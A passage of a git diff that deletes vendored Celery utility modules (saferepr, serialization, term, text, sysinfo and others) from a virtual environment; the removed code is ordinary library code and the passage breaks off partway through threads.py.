-1,142 +0,0 @@ -"""Object related utilities, including introspection, etc.""" -from functools import reduce - -__all__ = ('Bunch', 'FallbackContext', 'getitem_property', 'mro_lookup') - - -class Bunch: - """Object that enables you to modify attributes.""" - - def __init__(self, **kwargs): - self.__dict__.update(kwargs) - - -def mro_lookup(cls, attr, stop=None, monkey_patched=None): - """Return the first node by MRO order that defines an attribute. - - Arguments: - cls (Any): Child class to traverse. - attr (str): Name of attribute to find. - stop (Set[Any]): A set of types that if reached will stop - the search. - monkey_patched (Sequence): Use one of the stop classes - if the attributes module origin isn't in this list. - Used to detect monkey patched attributes. - - Returns: - Any: The attribute value, or :const:`None` if not found. - """ - stop = set() if not stop else stop - monkey_patched = [] if not monkey_patched else monkey_patched - for node in cls.mro(): - if node in stop: - try: - value = node.__dict__[attr] - module_origin = value.__module__ - except (AttributeError, KeyError): - pass - else: - if module_origin not in monkey_patched: - return node - return - if attr in node.__dict__: - return node - - -class FallbackContext: - """Context workaround. - - The built-in ``@contextmanager`` utility does not work well - when wrapping other contexts, as the traceback is wrong when - the wrapped context raises. - - This solves this problem and can be used instead of ``@contextmanager`` - in this example:: - - @contextmanager - def connection_or_default_connection(connection=None): - if connection: - # user already has a connection, shouldn't close - # after use - yield connection - else: - # must've new connection, and also close the connection - # after the block returns - with create_new_connection() as connection: - yield connection - - This wrapper can be used instead for the above like this:: - - def connection_or_default_connection(connection=None): - return FallbackContext(connection, create_new_connection) - """ - - def __init__(self, provided, fallback, *fb_args, **fb_kwargs): - self.provided = provided - self.fallback = fallback - self.fb_args = fb_args - self.fb_kwargs = fb_kwargs - self._context = None - - def __enter__(self): - if self.provided is not None: - return self.provided - context = self._context = self.fallback( - *self.fb_args, **self.fb_kwargs - ).__enter__() - return context - - def __exit__(self, *exc_info): - if self._context is not None: - return self._context.__exit__(*exc_info) - - -class getitem_property: - """Attribute -> dict key descriptor. - - The target object must support ``__getitem__``, - and optionally ``__setitem__``. - - Example: - >>> from collections import defaultdict - - >>> class Me(dict): - ... deep = defaultdict(dict) - ... - ... foo = _getitem_property('foo') - ... deep_thing = _getitem_property('deep.thing') - - - >>> me = Me() - >>> me.foo - None - - >>> me.foo = 10 - >>> me.foo - 10 - >>> me['foo'] - 10 - - >>> me.deep_thing = 42 - >>> me.deep_thing - 42 - >>> me.deep - defaultdict(, {'thing': 42}) - """ - - def __init__(self, keypath, doc=None): - path, _, self.key = keypath.rpartition('.') - self.path = path.split('.') if path else None - self.__doc__ = doc - - def _path(self, obj): - return (reduce(lambda d, k: d[k], [obj] + self.path) if self.path - else obj) - - def __get__(self, obj, type=None): - if obj is None: - return type - return self._path(obj).get(self.key) - - def __set__(self, obj, value): - self._path(obj)[self.key] = value diff --git a/venv/Lib/site-packages/celery/utils/quorum_queues.py b/venv/Lib/site-packages/celery/utils/quorum_queues.py deleted file mode 100644 index 0eb058fa6b23113418d4a3908789eb2623b0ae30..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/quorum_queues.py +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import annotations - - -def detect_quorum_queues(app, driver_type: str) -> tuple[bool, str]: - """Detect if any of the queues are quorum queues. - - Returns: - tuple[bool, str]: A tuple containing a boolean indicating if any of the queues are quorum queues - and the name of the first quorum queue found or an empty string if no quorum queues were found. - """ - is_rabbitmq_broker = driver_type == 'amqp' - - if is_rabbitmq_broker: - queues = app.amqp.queues - for qname in queues: - qarguments = queues[qname].queue_arguments or {} - if qarguments.get("x-queue-type") == "quorum": - return True, qname - - return False, "" diff --git a/venv/Lib/site-packages/celery/utils/saferepr.py b/venv/Lib/site-packages/celery/utils/saferepr.py deleted file mode 100644 index 9b37bc92ed18d4ae2d37ac7c260d47c8037546ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/saferepr.py +++ /dev/null @@ -1,269 +0,0 @@ -"""Streaming, truncating, non-recursive version of :func:`repr`. - -Differences from regular :func:`repr`: - -- Sets are represented the Python 3 way: ``{1, 2}`` vs ``set([1, 2])``. -- Unicode strings does not have the ``u'`` prefix, even on Python 2. -- Empty set formatted as ``set()`` (Python 3), not ``set([])`` (Python 2). -- Longs don't have the ``L`` suffix. - -Very slow with no limits, super quick with limits. -""" -import traceback -from collections import deque, namedtuple -from decimal import Decimal -from itertools import chain -from numbers import Number -from pprint import _recursion -from typing import Any, AnyStr, Callable, Dict, Iterator, List, Optional, Sequence, Set, Tuple # noqa - -from .text import truncate - -__all__ = ('saferepr', 'reprstream') - -#: Node representing literal text. -#: - .value: is the literal text value -#: - .truncate: specifies if this text can be truncated, for things like -#: LIT_DICT_END this will be False, as we always display -#: the ending brackets, e.g: [[[1, 2, 3, ...,], ..., ]] -#: - .direction: If +1 the current level is increment by one, -#: if -1 the current level is decremented by one, and -#: if 0 the current level is unchanged. -_literal = namedtuple('_literal', ('value', 'truncate', 'direction')) - -#: Node representing a dictionary key. -_key = namedtuple('_key', ('value',)) - -#: Node representing quoted text, e.g. a string value. -_quoted = namedtuple('_quoted', ('value',)) - - -#: Recursion protection. -_dirty = namedtuple('_dirty', ('objid',)) - -#: Types that are represented as chars. -chars_t = (bytes, str) - -#: Types that are regarded as safe to call repr on. -safe_t = (Number,) - -#: Set types. -set_t = (frozenset, set) - -LIT_DICT_START = _literal('{', False, +1) -LIT_DICT_KVSEP = _literal(': ', True, 0) -LIT_DICT_END = _literal('}', False, -1) -LIT_LIST_START = _literal('[', False, +1) -LIT_LIST_END = _literal(']', False, -1) -LIT_LIST_SEP = _literal(', ', True, 0) -LIT_SET_START = _literal('{', False, +1) -LIT_SET_END = _literal('}', False, -1) -LIT_TUPLE_START = _literal('(', False, +1) -LIT_TUPLE_END = _literal(')', False, -1) -LIT_TUPLE_END_SV = _literal(',)', False, -1) - - -def saferepr(o, maxlen=None, maxlevels=3, seen=None): - # type: (Any, int, int, Set) -> str - """Safe version of :func:`repr`. - - Warning: - Make sure you set the maxlen argument, or it will be very slow - for recursive objects. With the maxlen set, it's often faster - than built-in repr. - """ - return ''.join(_saferepr( - o, maxlen=maxlen, maxlevels=maxlevels, seen=seen - )) - - -def _chaindict(mapping, - LIT_DICT_KVSEP=LIT_DICT_KVSEP, - LIT_LIST_SEP=LIT_LIST_SEP): - # type: (Dict, _literal, _literal) -> Iterator[Any] - size = len(mapping) - for i, (k, v) in enumerate(mapping.items()): - yield _key(k) - yield LIT_DICT_KVSEP - yield v - if i < (size - 1): - yield LIT_LIST_SEP - - -def _chainlist(it, LIT_LIST_SEP=LIT_LIST_SEP): - # type: (List) -> Iterator[Any] - size = len(it) - for i, v in enumerate(it): - yield v - if i < (size - 1): - yield LIT_LIST_SEP - - -def _repr_empty_set(s): - # type: (Set) -> str - return f'{type(s).__name__}()' - - -def _safetext(val): - # type: (AnyStr) -> str - if isinstance(val, bytes): - try: - val.encode('utf-8') - except UnicodeDecodeError: - # is bytes with unrepresentable characters, attempt - # to convert back to unicode - return val.decode('utf-8', errors='backslashreplace') - return val - - -def _format_binary_bytes(val, maxlen, ellipsis='...'): - # type: (bytes, int, str) -> str - if maxlen and len(val) > maxlen: - # we don't want to copy all the data, just take what we need. - chunk = memoryview(val)[:maxlen].tobytes() - return _bytes_prefix(f"'{_repr_binary_bytes(chunk)}{ellipsis}'") - return _bytes_prefix(f"'{_repr_binary_bytes(val)}'") - - -def _bytes_prefix(s): - return 'b' + s - - -def _repr_binary_bytes(val): - # type: (bytes) -> str - try: - return val.decode('utf-8') - except UnicodeDecodeError: - # possibly not unicode, but binary data so format as hex. - return val.hex() - - -def _format_chars(val, maxlen): - # type: (AnyStr, int) -> str - if isinstance(val, bytes): # pragma: no cover - return _format_binary_bytes(val, maxlen) - else: - return "'{}'".format(truncate(val, maxlen).replace("'", "\\'")) - - -def _repr(obj): - # type: (Any) -> str - try: - return repr(obj) - except Exception as exc: - stack = '\n'.join(traceback.format_stack()) - return f'' - - -def _saferepr(o, maxlen=None, maxlevels=3, seen=None): - # type: (Any, int, int, Set) -> str - stack = deque([iter([o])]) - for token, it in reprstream(stack, seen=seen, maxlevels=maxlevels): - if maxlen is not None and maxlen <= 0: - yield ', ...' - # move rest back to stack, so that we can include - # dangling parens. - stack.append(it) - break - if isinstance(token, _literal): - val = token.value - elif isinstance(token, _key): - val = saferepr(token.value, maxlen, maxlevels) - elif isinstance(token, _quoted): - val = _format_chars(token.value, maxlen) - else: - val = _safetext(truncate(token, maxlen)) - yield val - if maxlen is not None: - maxlen -= len(val) - for rest1 in stack: - # maxlen exceeded, process any dangling parens. - for rest2 in rest1: - if isinstance(rest2, _literal) and not rest2.truncate: - yield rest2.value - - -def _reprseq(val, lit_start, lit_end, builtin_type, chainer): - # type: (Sequence, _literal, _literal, Any, Any) -> Tuple[Any, ...] - if type(val) is builtin_type: - return lit_start, lit_end, chainer(val) - return ( - _literal(f'{type(val).__name__}({lit_start.value}', False, +1), - _literal(f'{lit_end.value})', False, -1), - chainer(val) - ) - - -def reprstream(stack: deque, - seen: Optional[Set] = None, - maxlevels: int = 3, - level: int = 0, - isinstance: Callable = isinstance) -> Iterator[Any]: - """Streaming repr, yielding tokens.""" - seen = seen or set() - append = stack.append - popleft = stack.popleft - is_in_seen = seen.__contains__ - discard_from_seen = seen.discard - add_to_seen = seen.add - - while stack: - lit_start = lit_end = None - it = popleft() - for val in it: - orig = val - if isinstance(val, _dirty): - discard_from_seen(val.objid) - continue - elif isinstance(val, _literal): - level += val.direction - yield val, it - elif isinstance(val, _key): - yield val, it - elif isinstance(val, Decimal): - yield _repr(val), it - elif isinstance(val, safe_t): - yield str(val), it - elif isinstance(val, chars_t): - yield _quoted(val), it - elif isinstance(val, range): # pragma: no cover - yield _repr(val), it - else: - if isinstance(val, set_t): - if not val: - yield _repr_empty_set(val), it - continue - lit_start, lit_end, val = _reprseq( - val, LIT_SET_START, LIT_SET_END, set, _chainlist, - ) - elif isinstance(val, tuple): - lit_start, lit_end, val = ( - LIT_TUPLE_START, - LIT_TUPLE_END_SV if len(val) == 1 else LIT_TUPLE_END, - _chainlist(val)) - elif isinstance(val, dict): - lit_start, lit_end, val = ( - LIT_DICT_START, LIT_DICT_END, _chaindict(val)) - elif isinstance(val, list): - lit_start, lit_end, val = ( - LIT_LIST_START, LIT_LIST_END, _chainlist(val)) - else: - # other type of object - yield _repr(val), it - continue - - if maxlevels and level >= maxlevels: - yield f'{lit_start.value}...{lit_end.value}', it - continue - - objid = id(orig) - if is_in_seen(objid): - yield _recursion(orig), it - continue - add_to_seen(objid) - - # Recurse into the new list/tuple/dict/etc by tacking - # the rest of our iterable onto the new it: this way - # it works similar to a linked list. - append(chain([lit_start], val, [_dirty(objid), lit_end], it)) - break diff --git a/venv/Lib/site-packages/celery/utils/serialization.py b/venv/Lib/site-packages/celery/utils/serialization.py deleted file mode 100644 index 6c6b3b76f94b7ded19b6eb7c55f2b8724bb9da62..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/serialization.py +++ /dev/null @@ -1,273 +0,0 @@ -"""Utilities for safely pickling exceptions.""" -import datetime -import numbers -import sys -from base64 import b64decode as base64decode -from base64 import b64encode as base64encode -from functools import partial -from inspect import getmro -from itertools import takewhile - -from kombu.utils.encoding import bytes_to_str, safe_repr, str_to_bytes - -try: - import cPickle as pickle -except ImportError: - import pickle - -__all__ = ( - 'UnpickleableExceptionWrapper', 'subclass_exception', - 'find_pickleable_exception', 'create_exception_cls', - 'get_pickleable_exception', 'get_pickleable_etype', - 'get_pickled_exception', 'strtobool', -) - -#: List of base classes we probably don't want to reduce to. -unwanted_base_classes = (Exception, BaseException, object) - -STRTOBOOL_DEFAULT_TABLE = {'false': False, 'no': False, '0': False, - 'true': True, 'yes': True, '1': True, - 'on': True, 'off': False} - - -def subclass_exception(name, parent, module): - """Create new exception class.""" - return type(name, (parent,), {'__module__': module}) - - -def find_pickleable_exception(exc, loads=pickle.loads, - dumps=pickle.dumps): - """Find first pickleable exception base class. - - With an exception instance, iterate over its super classes (by MRO) - and find the first super exception that's pickleable. It does - not go below :exc:`Exception` (i.e., it skips :exc:`Exception`, - :class:`BaseException` and :class:`object`). If that happens - you should use :exc:`UnpickleableException` instead. - - Arguments: - exc (BaseException): An exception instance. - loads: decoder to use. - dumps: encoder to use - - Returns: - Exception: Nearest pickleable parent exception class - (except :exc:`Exception` and parents), or if the exception is - pickleable it will return :const:`None`. - """ - exc_args = getattr(exc, 'args', []) - for supercls in itermro(exc.__class__, unwanted_base_classes): - try: - superexc = supercls(*exc_args) - loads(dumps(superexc)) - except Exception: # pylint: disable=broad-except - pass - else: - return superexc - - -def itermro(cls, stop): - return takewhile(lambda sup: sup not in stop, getmro(cls)) - - -def create_exception_cls(name, module, parent=None): - """Dynamically create an exception class.""" - if not parent: - parent = Exception - return subclass_exception(name, parent, module) - - -def ensure_serializable(items, encoder): - """Ensure items will serialize. - - For a given list of arbitrary objects, return the object - or a string representation, safe for serialization. - - Arguments: - items (Iterable[Any]): Objects to serialize. - encoder (Callable): Callable function to serialize with. - """ - safe_exc_args = [] - for arg in items: - try: - encoder(arg) - safe_exc_args.append(arg) - except Exception: # pylint: disable=broad-except - safe_exc_args.append(safe_repr(arg)) - return tuple(safe_exc_args) - - -class UnpickleableExceptionWrapper(Exception): - """Wraps unpickleable exceptions. - - Arguments: - exc_module (str): See :attr:`exc_module`. - exc_cls_name (str): See :attr:`exc_cls_name`. - exc_args (Tuple[Any, ...]): See :attr:`exc_args`. - - Example: - >>> def pickle_it(raising_function): - ... try: - ... raising_function() - ... except Exception as e: - ... exc = UnpickleableExceptionWrapper( - ... e.__class__.__module__, - ... e.__class__.__name__, - ... e.args, - ... ) - ... pickle.dumps(exc) # Works fine. - """ - - #: The module of the original exception. - exc_module = None - - #: The name of the original exception class. - exc_cls_name = None - - #: The arguments for the original exception. - exc_args = None - - def __init__(self, exc_module, exc_cls_name, exc_args, text=None): - safe_exc_args = ensure_serializable( - exc_args, lambda v: pickle.loads(pickle.dumps(v)) - ) - self.exc_module = exc_module - self.exc_cls_name = exc_cls_name - self.exc_args = safe_exc_args - self.text = text - super().__init__(exc_module, exc_cls_name, safe_exc_args, - text) - - def restore(self): - return create_exception_cls(self.exc_cls_name, - self.exc_module)(*self.exc_args) - - def __str__(self): - return self.text - - @classmethod - def from_exception(cls, exc): - res = cls( - exc.__class__.__module__, - exc.__class__.__name__, - getattr(exc, 'args', []), - safe_repr(exc) - ) - if hasattr(exc, "__traceback__"): - res = res.with_traceback(exc.__traceback__) - return res - - -def get_pickleable_exception(exc): - """Make sure exception is pickleable.""" - try: - pickle.loads(pickle.dumps(exc)) - except Exception: # pylint: disable=broad-except - pass - else: - return exc - nearest = find_pickleable_exception(exc) - if nearest: - return nearest - return UnpickleableExceptionWrapper.from_exception(exc) - - -def get_pickleable_etype(cls, loads=pickle.loads, dumps=pickle.dumps): - """Get pickleable exception type.""" - try: - loads(dumps(cls)) - except Exception: # pylint: disable=broad-except - return Exception - else: - return cls - - -def get_pickled_exception(exc): - """Reverse of :meth:`get_pickleable_exception`.""" - if isinstance(exc, UnpickleableExceptionWrapper): - return exc.restore() - return exc - - -def b64encode(s): - return bytes_to_str(base64encode(str_to_bytes(s))) - - -def b64decode(s): - return base64decode(str_to_bytes(s)) - - -def strtobool(term, table=None): - """Convert common terms for true/false to bool. - - Examples (true/false/yes/no/on/off/1/0). - """ - if table is None: - table = STRTOBOOL_DEFAULT_TABLE - if isinstance(term, str): - try: - return table[term.lower()] - except KeyError: - raise TypeError(f'Cannot coerce {term!r} to type bool') - return term - - -def _datetime_to_json(dt): - # See "Date Time String Format" in the ECMA-262 specification. - if isinstance(dt, datetime.datetime): - r = dt.isoformat() - if dt.microsecond: - r = r[:23] + r[26:] - if r.endswith('+00:00'): - r = r[:-6] + 'Z' - return r - elif isinstance(dt, datetime.time): - r = dt.isoformat() - if dt.microsecond: - r = r[:12] - return r - else: - return dt.isoformat() - - -def jsonify(obj, - builtin_types=(numbers.Real, str), key=None, - keyfilter=None, - unknown_type_filter=None): - """Transform object making it suitable for json serialization.""" - from kombu.abstract import Object as KombuDictType - _jsonify = partial(jsonify, builtin_types=builtin_types, key=key, - keyfilter=keyfilter, - unknown_type_filter=unknown_type_filter) - - if isinstance(obj, KombuDictType): - obj = obj.as_dict(recurse=True) - - if obj is None or isinstance(obj, builtin_types): - return obj - elif isinstance(obj, (tuple, list)): - return [_jsonify(v) for v in obj] - elif isinstance(obj, dict): - return { - k: _jsonify(v, key=k) for k, v in obj.items() - if (keyfilter(k) if keyfilter else 1) - } - elif isinstance(obj, (datetime.date, datetime.time)): - return _datetime_to_json(obj) - elif isinstance(obj, datetime.timedelta): - return str(obj) - else: - if unknown_type_filter is None: - raise ValueError( - f'Unsupported type: {type(obj)!r} {obj!r} (parent: {key})' - ) - return unknown_type_filter(obj) - - -def raise_with_context(exc): - exc_info = sys.exc_info() - if not exc_info: - raise exc - elif exc_info[1] is exc: - raise - raise exc from exc_info[1] diff --git a/venv/Lib/site-packages/celery/utils/static/__init__.py b/venv/Lib/site-packages/celery/utils/static/__init__.py deleted file mode 100644 index 5051e5a0267a8785a33c4d4cd8b25023eeb88c2b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/static/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -"""Static files.""" -import os - - -def get_file(*args): - # type: (*str) -> str - """Get filename for static file.""" - return os.path.join(os.path.abspath(os.path.dirname(__file__)), *args) - - -def logo(): - # type: () -> bytes - """Celery logo image.""" - return get_file('celery_128.png') diff --git a/venv/Lib/site-packages/celery/utils/static/celery_128.png b/venv/Lib/site-packages/celery/utils/static/celery_128.png deleted file mode 100644 index c3ff2d13d0592c3e082588f95330360f12505233..0000000000000000000000000000000000000000 Binary files a/venv/Lib/site-packages/celery/utils/static/celery_128.png and /dev/null differ diff --git a/venv/Lib/site-packages/celery/utils/sysinfo.py b/venv/Lib/site-packages/celery/utils/sysinfo.py deleted file mode 100644 index 52fc45e547420e6e3d4e13b67dfac0d0055d737a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/sysinfo.py +++ /dev/null @@ -1,50 +0,0 @@ -"""System information utilities.""" -from __future__ import annotations - -import os -from math import ceil - -from kombu.utils.objects import cached_property - -__all__ = ('load_average', 'df') - - -if hasattr(os, 'getloadavg'): - - def _load_average() -> tuple[float, ...]: - return tuple(ceil(l * 1e2) / 1e2 for l in os.getloadavg()) - -else: # pragma: no cover - # Windows doesn't have getloadavg - def _load_average() -> tuple[float, ...]: - return 0.0, 0.0, 0.0, - - -def load_average() -> tuple[float, ...]: - """Return system load average as a triple.""" - return _load_average() - - -class df: - """Disk information.""" - - def __init__(self, path: str | bytes | os.PathLike) -> None: - self.path = path - - @property - def total_blocks(self) -> float: - return self.stat.f_blocks * self.stat.f_frsize / 1024 - - @property - def available(self) -> float: - return self.stat.f_bavail * self.stat.f_frsize / 1024 - - @property - def capacity(self) -> int: - avail = self.stat.f_bavail - used = self.stat.f_blocks - self.stat.f_bfree - return int(ceil(used * 100.0 / (used + avail) + 0.5)) - - @cached_property - def stat(self) -> os.statvfs_result: - return os.statvfs(os.path.abspath(self.path)) diff --git a/venv/Lib/site-packages/celery/utils/term.py b/venv/Lib/site-packages/celery/utils/term.py deleted file mode 100644 index ba6a3215fbcbd3f077676246551199ca783c5a92..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/term.py +++ /dev/null @@ -1,184 +0,0 @@ -"""Terminals and colors.""" -from __future__ import annotations - -import base64 -import os -import platform -import sys -from functools import reduce - -__all__ = ('colored',) - -from typing import Any - -BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) -OP_SEQ = '\033[%dm' -RESET_SEQ = '\033[0m' -COLOR_SEQ = '\033[1;%dm' - -IS_WINDOWS = platform.system() == 'Windows' - -ITERM_PROFILE = os.environ.get('ITERM_PROFILE') -TERM = os.environ.get('TERM') -TERM_IS_SCREEN = TERM and TERM.startswith('screen') - -# tmux requires unrecognized OSC sequences to be wrapped with DCS tmux; -# ST, and for all ESCs in to be replaced with ESC ESC. -# It only accepts ESC backslash for ST. -_IMG_PRE = '\033Ptmux;\033\033]' if TERM_IS_SCREEN else '\033]' -_IMG_POST = '\a\033\\' if TERM_IS_SCREEN else '\a' - - -def fg(s: int) -> str: - return COLOR_SEQ % s - - -class colored: - """Terminal colored text. - - Example: - >>> c = colored(enabled=True) - >>> print(str(c.red('the quick '), c.blue('brown ', c.bold('fox ')), - ... c.magenta(c.underline('jumps over')), - ... c.yellow(' the lazy '), - ... c.green('dog '))) - """ - - def __init__(self, *s: object, **kwargs: Any) -> None: - self.s: tuple[object, ...] = s - self.enabled: bool = not IS_WINDOWS and kwargs.get('enabled', True) - self.op: str = kwargs.get('op', '') - self.names: dict[str, Any] = { - 'black': self.black, - 'red': self.red, - 'green': self.green, - 'yellow': self.yellow, - 'blue': self.blue, - 'magenta': self.magenta, - 'cyan': self.cyan, - 'white': self.white, - } - - def _add(self, a: object, b: object) -> str: - return f"{a}{b}" - - def _fold_no_color(self, a: Any, b: Any) -> str: - try: - A = a.no_color() - except AttributeError: - A = str(a) - try: - B = b.no_color() - except AttributeError: - B = str(b) - - return f"{A}{B}" - - def no_color(self) -> str: - if self.s: - return str(reduce(self._fold_no_color, self.s)) - return '' - - def embed(self) -> str: - prefix = '' - if self.enabled: - prefix = self.op - return f"{prefix}{reduce(self._add, self.s)}" - - def __str__(self) -> str: - suffix = '' - if self.enabled: - suffix = RESET_SEQ - return f"{self.embed()}{suffix}" - - def node(self, s: tuple[object, ...], op: str) -> colored: - return self.__class__(enabled=self.enabled, op=op, *s) - - def black(self, *s: object) -> colored: - return self.node(s, fg(30 + BLACK)) - - def red(self, *s: object) -> colored: - return self.node(s, fg(30 + RED)) - - def green(self, *s: object) -> colored: - return self.node(s, fg(30 + GREEN)) - - def yellow(self, *s: object) -> colored: - return self.node(s, fg(30 + YELLOW)) - - def blue(self, *s: object) -> colored: - return self.node(s, fg(30 + BLUE)) - - def magenta(self, *s: object) -> colored: - return self.node(s, fg(30 + MAGENTA)) - - def cyan(self, *s: object) -> colored: - return self.node(s, fg(30 + CYAN)) - - def white(self, *s: object) -> colored: - return self.node(s, fg(30 + WHITE)) - - def __repr__(self) -> str: - return repr(self.no_color()) - - def bold(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 1) - - def underline(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 4) - - def blink(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 5) - - def reverse(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 7) - - def bright(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 8) - - def ired(self, *s: object) -> colored: - return self.node(s, fg(40 + RED)) - - def igreen(self, *s: object) -> colored: - return self.node(s, fg(40 + GREEN)) - - def iyellow(self, *s: object) -> colored: - return self.node(s, fg(40 + YELLOW)) - - def iblue(self, *s: colored) -> colored: - return self.node(s, fg(40 + BLUE)) - - def imagenta(self, *s: object) -> colored: - return self.node(s, fg(40 + MAGENTA)) - - def icyan(self, *s: object) -> colored: - return self.node(s, fg(40 + CYAN)) - - def iwhite(self, *s: object) -> colored: - return self.node(s, fg(40 + WHITE)) - - def reset(self, *s: object) -> colored: - return self.node(s or ('',), RESET_SEQ) - - def __add__(self, other: object) -> str: - return f"{self}{other}" - - -def supports_images() -> bool: - - try: - return sys.stdin.isatty() and bool(os.environ.get('ITERM_PROFILE')) - except AttributeError: - return False - - -def _read_as_base64(path: str) -> str: - with open(path, mode='rb') as fh: - encoded = base64.b64encode(fh.read()) - return encoded.decode('ascii') - - -def imgcat(path: str, inline: int = 1, preserve_aspect_ratio: int = 0, **kwargs: Any) -> str: - return '\n%s1337;File=inline=%d;preserveAspectRatio=%d:%s%s' % ( - _IMG_PRE, inline, preserve_aspect_ratio, - _read_as_base64(path), _IMG_POST) diff --git a/venv/Lib/site-packages/celery/utils/text.py b/venv/Lib/site-packages/celery/utils/text.py deleted file mode 100644 index 9d18a735bb67a3d4dcc72ba398386cb9a7b02315..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/text.py +++ /dev/null @@ -1,198 +0,0 @@ -"""Text formatting utilities.""" -from __future__ import annotations - -import io -import re -from functools import partial -from pprint import pformat -from re import Match -from textwrap import fill -from typing import Any, Callable, Pattern - -__all__ = ( - 'abbr', 'abbrtask', 'dedent', 'dedent_initial', - 'ensure_newlines', 'ensure_sep', - 'fill_paragraphs', 'indent', 'join', - 'pluralize', 'pretty', 'str_to_list', 'simple_format', 'truncate', -) - -UNKNOWN_SIMPLE_FORMAT_KEY = """ -Unknown format %{0} in string {1!r}. -Possible causes: Did you forget to escape the expand sign (use '%%{0!r}'), -or did you escape and the value was expanded twice? (%%N -> %N -> %hostname)? -""".strip() - -RE_FORMAT = re.compile(r'%(\w)') - - -def str_to_list(s: str) -> list[str]: - """Convert string to list.""" - if isinstance(s, str): - return s.split(',') - return s - - -def dedent_initial(s: str, n: int = 4) -> str: - """Remove indentation from first line of text.""" - return s[n:] if s[:n] == ' ' * n else s - - -def dedent(s: str, sep: str = '\n') -> str: - """Remove indentation.""" - return sep.join(dedent_initial(l) for l in s.splitlines()) - - -def fill_paragraphs(s: str, width: int, sep: str = '\n') -> str: - """Fill paragraphs with newlines (or custom separator).""" - return sep.join(fill(p, width) for p in s.split(sep)) - - -def join(l: list[str], sep: str = '\n') -> str: - """Concatenate list of strings.""" - return sep.join(v for v in l if v) - - -def ensure_sep(sep: str, s: str, n: int = 2) -> str: - """Ensure text s ends in separator sep'.""" - return s + sep * (n - s.count(sep)) - - -ensure_newlines = partial(ensure_sep, '\n') - - -def abbr(S: str, max: int, ellipsis: str | bool = '...') -> str: - """Abbreviate word.""" - if S is None: - return '???' - if len(S) > max: - return isinstance(ellipsis, str) and ( - S[: max - len(ellipsis)] + ellipsis) or S[: max] - return S - - -def abbrtask(S: str, max: int) -> str: - """Abbreviate task name.""" - if S is None: - return '???' - if len(S) > max: - module, _, cls = S.rpartition('.') - module = abbr(module, max - len(cls) - 3, False) - return module + '[.]' + cls - return S - - -def indent(t: str, indent: int = 0, sep: str = '\n') -> str: - """Indent text.""" - return sep.join(' ' * indent + p for p in t.split(sep)) - - -def truncate(s: str, maxlen: int = 128, suffix: str = '...') -> str: - """Truncate text to a maximum number of characters.""" - if maxlen and len(s) >= maxlen: - return s[:maxlen].rsplit(' ', 1)[0] + suffix - return s - - -def pluralize(n: float, text: str, suffix: str = 's') -> str: - """Pluralize term when n is greater than one.""" - if n != 1: - return text + suffix - return text - - -def pretty(value: str, width: int = 80, nl_width: int = 80, sep: str = '\n', ** - kw: Any) -> str: - """Format value for printing to console.""" - if isinstance(value, dict): - return f'{sep} {pformat(value, 4, nl_width)[1:]}' - elif isinstance(value, tuple): - return '{}{}{}'.format( - sep, ' ' * 4, pformat(value, width=nl_width, **kw), - ) - else: - return pformat(value, width=width, **kw) - - -def match_case(s: str, other: str) -> str: - return s.upper() if other.isupper() else s.lower() - - -def simple_format( - s: str, keys: dict[str, str | Callable], - pattern: Pattern[str] = RE_FORMAT, expand: str = r'\1') -> str: - """Format string, expanding abbreviations in keys'.""" - if s: - keys.setdefault('%', '%') - - def resolve(match: Match) -> str | Any: - key = match.expand(expand) - try: - resolver = keys[key] - except KeyError: - raise ValueError(UNKNOWN_SIMPLE_FORMAT_KEY.format(key, s)) - if callable(resolver): - return resolver() - return resolver - - return pattern.sub(resolve, s) - return s - - -def remove_repeating_from_task(task_name: str, s: str) -> str: - """Given task name, remove repeating module names. - - Example: - >>> remove_repeating_from_task( - ... 'tasks.add', - ... 'tasks.add(2, 2), tasks.mul(3), tasks.div(4)') - 'tasks.add(2, 2), mul(3), div(4)' - """ - # This is used by e.g. repr(chain), to remove repeating module names. - # - extract the module part of the task name - module = str(task_name).rpartition('.')[0] + '.' - return remove_repeating(module, s) - - -def remove_repeating(substr: str, s: str) -> str: - """Remove repeating module names from string. - - Arguments: - task_name (str): Task name (full path including module), - to use as the basis for removing module names. - s (str): The string we want to work on. - - Example: - - >>> _shorten_names( - ... 'x.tasks.add', - ... 'x.tasks.add(2, 2) | x.tasks.add(4) | x.tasks.mul(8)', - ... ) - 'x.tasks.add(2, 2) | add(4) | mul(8)' - """ - # find the first occurrence of substr in the string. - index = s.find(substr) - if index >= 0: - return ''.join([ - # leave the first occurrence of substr untouched. - s[:index + len(substr)], - # strip seen substr from the rest of the string. - s[index + len(substr):].replace(substr, ''), - ]) - return s - - -StringIO = io.StringIO -_SIO_write = StringIO.write -_SIO_init = StringIO.__init__ - - -class WhateverIO(StringIO): - """StringIO that takes bytes or str.""" - - def __init__( - self, v: bytes | str | None = None, *a: Any, **kw: Any) -> None: - _SIO_init(self, v.decode() if isinstance(v, bytes) else v, *a, **kw) - - def write(self, data: bytes | str) -> int: - return _SIO_write(self, data.decode() - if isinstance(data, bytes) else data) diff --git a/venv/Lib/site-packages/celery/utils/threads.py b/venv/Lib/site-packages/celery/utils/threads.py deleted file mode 100644 index d78461a9b727b5c2c13931b2842ef3e838e5325e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/threads.py +++ /dev/null @@ -1,331 +0,0 @@ -"""Threading primitives and utilities.""" -import os -import socket -import sys -import threading -import traceback -from contextlib import contextmanager -from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX - -from celery.local import Proxy - -try: - from greenlet import getcurrent as get_ident -except ImportError: - try: - from _thread import get_ident - except ImportError: - try: - from thread import get_ident - except ImportError: - try: - from _dummy_thread import get_ident - except ImportError: - from dummy_thread import get_ident - - -__all__ = ( - 'bgThread', 'Local', 'LocalStack', 'LocalManager', - 